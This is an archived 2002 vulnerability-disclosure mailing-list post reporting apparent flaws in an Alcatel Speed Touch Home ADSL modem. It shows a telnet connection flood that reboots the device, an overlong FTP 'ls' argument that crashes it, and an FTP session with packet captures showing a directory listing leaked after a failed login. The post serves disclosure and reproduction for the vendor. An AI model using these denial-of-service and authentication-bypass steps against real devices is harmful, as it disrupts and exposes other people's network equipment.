Alcatel Speed Touch Modem problems.. or not? Anyone?

From: Strumpf Noir Society (vuln-devat_private)
Date: Thu Feb 21 2002 - 06:09:21 PST

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    Hi cats n' kittens,
    
    I came across below, but Alcatel is unable to reproduce it they say.
    I was wondering wether anyone out there could do a quick test and supply
    me with some results to wave at them (if there indeed is an issue)? Below
    was tested with a Speed Touch Home modem, which would make these
    problems LAN/internal ones, but it is my understanding that the Speed
    Touch Pro has an external ip as well, which could extend the possibilities
    a bit :) Anyways, any feedback would be appreciated, on to the problem:
    
    1) My Alcatel Speed Touch Home (GV8BAA3.253 - 997001) ADSL modem seems
    unable to handle a large number of connections to its telnet daemon. About
    10-20 quick concurrent connections will cause the modem to reboot.
    
    2) The size of arguments passed through ftp commands to the ftp server
    seems to be unchecked. This also allows someone to crash/reboot the modem:
    
    $ ftp 10.0.0.138
    Connected to 10.0.0.138.
    220 Inactivity timer = 120 seconds. Use 'site idle <secs>' to change.
    User (10.0.0.138:(none)): guest
    331 SpeedTouch (xx-xx-xx-xx-xx-xx) User guest OK. Password required.
    Password:
    530 Invalid password
    Login failed
    ls aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    
    Interesting part here is that even though the login fails, it appears
    possible to pass the command to the server. It seems there is a problem
    with the ftp daemons authentication scheme, below test would appear to
    support that as well:
    
    3) I have a sniffer running on the wire, listening for all traffic to and
    from the box's internal ip 10.0.0.150. The modem has ip 10.0.0.138.
    
    I log in with user/pass guest/guest, which are invalid for the modem.
    
    $ ftp 10.0.0.138
    Connected to 10.0.0.138.
    220 Inactivity timer = 120 seconds. Use 'site idle <secs>' to change.
    User (10.0.0.138:(none)): guest
    331 SpeedTouch (xx-xx-xx-xx-xx-xx) User guest OK. Password required.
    Password:
    530 Invalid password
    Login failed
    ls
    200 Connected to 10.0.0.150 port 2681
    530 Unknown user
    
    So far so good, I'm not allowed the listing, since I'm not properly logged
    in. However, the packetlog (NGSSniff) reveals the following:
    
    IP Header
            Length and version: 0x45
            Type of service: 0x00
            Total length: 74
            Identifier: 27510
            Flags: 0x0000
            TTL: 64
            Protocol: 6 (TCP)
            Checksum: 0xfa18
            Source IP: 10.0.0.138
            Dest IP: 10.0.0.150
    TCP Header
            Source port: 21
            Dest port: 2675
            Sequence: 3435584144
            ack: 1451021190
            Header length: 0x80
            Flags: 0x18 (ACK PSH )
            Window Size: 4096
            Checksum: 0xb3ac
            Urgent Pointer: 0
    Raw Data
            35 33 30 20 49 6e 76 61 6c 69 64 20 70 61 73 73  (530 Invalid pass)
            77 6f 72 64 0d 0a                                (word  )
    
    IP Header
            Length and version: 0x45
            Type of service: 0x00
            Total length: 76
            Identifier: 58979
            Flags: 0x0000
            TTL: 64
            Protocol: 6 (TCP)
            Checksum: 0x7f29
            Source IP: 10.0.0.150
            Dest IP: 10.0.0.138
    TCP Header
            Source port: 2675
            Dest port: 21
            Sequence: 1451021190
            ack: 3435584166
            Header length: 0x80
            Flags: 0x18 (ACK PSH )
            Window Size: 64076
            Checksum: 0x493d
            Urgent Pointer: 0
    Raw Data
            50 4f 52 54 20 31 30 2c 30 2c 30 2c 31 35 30 2c  (PORT 10,0,0,150,)
            31 30 2c 31 31 36 0d 0a                          (10,116  )
    
    IP Header
            Length and version: 0x45
            Type of service: 0x00
            Total length: 91
            Identifier: 27520
            Flags: 0x0000
            TTL: 64
            Protocol: 6 (TCP)
            Checksum: 0xf9fd
            Source IP: 10.0.0.138
            Dest IP: 10.0.0.150
    TCP Header
            Source port: 21
            Dest port: 2675
            Sequence: 3435584166
            ack: 1451021214
            Header length: 0x80
            Flags: 0x18 (ACK PSH )
            Window Size: 4096
            Checksum: 0x31c4
            Urgent Pointer: 0
    Raw Data
            32 30 30 20 43 6f 6e 6e 65 63 74 65 64 20 74 6f  (200 Connected to)
            20 31 30 2e 30 2e 30 2e 31 35 30 20 70 6f 72 74  ( 10.0.0.150 port)
            20 32 36 37 36 0d 0a                             ( 2676  )
    
    IP Header
            Length and version: 0x45
            Type of service: 0x00
            Total length: 58
            Identifier: 58992
            Flags: 0x0000
            TTL: 64
            Protocol: 6 (TCP)
            Checksum: 0x7f2e
            Source IP: 10.0.0.150
            Dest IP: 10.0.0.138
    TCP Header
            Source port: 2675
            Dest port: 21
            Sequence: 1451021214
            ack: 3435584205
            Header length: 0x80
            Flags: 0x18 (ACK PSH )
            Window Size: 64037
            Checksum: 0xeac1
            Urgent Pointer: 0
    Raw Data
            4e 4c 53 54 0d 0a                                (NLST  )
    
    IP Header
            Length and version: 0x45
            Type of service: 0x00
            Total length: 70
            Identifier: 27522
            Flags: 0x0000
            TTL: 64
            Protocol: 6 (TCP)
            Checksum: 0xfa10
            Source IP: 10.0.0.138
            Dest IP: 10.0.0.150
    TCP Header
            Source port: 21
            Dest port: 2675
            Sequence: 3435584205
            ack: 1451021220
            Header length: 0x80
            Flags: 0x18 (ACK PSH )
            Window Size: 4096
            Checksum: 0x97b8
            Urgent Pointer: 0
    Raw Data
            35 33 30 20 55 6e 6b 6e 6f 77 6e 20 75 73 65 72  (530 Unknown user)
            0d 0a                                            (  )
    
    IP Header
            Length and version: 0x45
            Type of service: 0x00
            Total length: 61
            Identifier: 27523
            Flags: 0x0000
            TTL: 64
            Protocol: 6 (TCP)
            Checksum: 0xfa18
            Source IP: 10.0.0.138
            Dest IP: 10.0.0.150
    TCP Header
            Source port: 20
            Dest port: 2676
            Sequence: 3436864002
            ack: 1453411572
            Header length: 0x80
            Flags: 0x18 (ACK PSH )
            Window Size: 4096
            Checksum: 0x12c8
            Urgent Pointer: 0
    Raw Data
            74 6f 74 61 6c 20 31 0d 0a                       (total 1  )
    
    IP Header
            Length and version: 0x45
            Type of service: 0x00
            Total length: 101
            Identifier: 27524
            Flags: 0x0000
            TTL: 64
            Protocol: 6 (TCP)
            Checksum: 0xf9ef
            Source IP: 10.0.0.138
            Dest IP: 10.0.0.150
    TCP Header
            Source port: 20
            Dest port: 2676
            Sequence: 3436864011
            ack: 1453411572
            Header length: 0x80
            Flags: 0x19 (ACK PSH FIN )
            Window Size: 4096
            Checksum: 0xdff8
            Urgent Pointer: 0
    Raw Data
            61 63 74 69 76 65 0d 0a 64 6c 0d 0a 73 74 61 72  (active  dl  star)
            74 75 70 2e 63 6d 64 0d 0a 47 56 38 41 41 41 31  (tup.cmd  GV8AAA1)
            2e 30 30 30 0d 0a 6d 6f 75 6e 74 2e 63 6d 64 0d  (.000  mount.cmd )
            0a                                               ( )
    
    IP Header
            Length and version: 0x45
            Type of service: 0x00
            Total length: 132
            Identifier: 27525
            Flags: 0x0000
            TTL: 64
            Protocol: 6 (TCP)
            Checksum: 0xf9cf
            Source IP: 10.0.0.138
            Dest IP: 10.0.0.150
    TCP Header
            Source port: 21
            Dest port: 2675
            Sequence: 3435584205
            ack: 1451021220
            Header length: 0x80
            Flags: 0x18 (ACK PSH )
            Window Size: 4096
            Checksum: 0xe525
            Urgent Pointer: 0
    Raw Data
            35 33 30 20 55 6e 6b 6e 6f 77 6e 20 75 73 65 72  (530 Unknown user)
            0d 0a 31 35 30 20 4f 70 65 6e 69 6e 67 20 64 61  (  150 Opening da)
            74 61 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 6f  (ta connection fo)
            72 20 2f 62 69 6e 2f 6c 73 0d 0a 32 32 36 20 30  (r /bin/ls  226 0)
            20 6d 61 74 63 68 65 73 20 74 6f 74 61 6c 0d 0a  ( matches total  )
    
    It seems the 'ls' is still executed anyways and that the ftp client (Win2k
    ftp.exe) is just witholding the information from me in some way. Above IS
    effectively a listing of my modems ftp "root".
    
    Any thoughts/comments/similar (or different) results? Much obliged :)
    
    Cheers,
    
    Thejian
    
    
    -- 
    Best regards,
     Strumpf Noir Society                          mailto:vuln-devat_private
    
    
    "Mere accumulation of observational evidence is not proof."
    
    -- Death, "The Hogfather"
    



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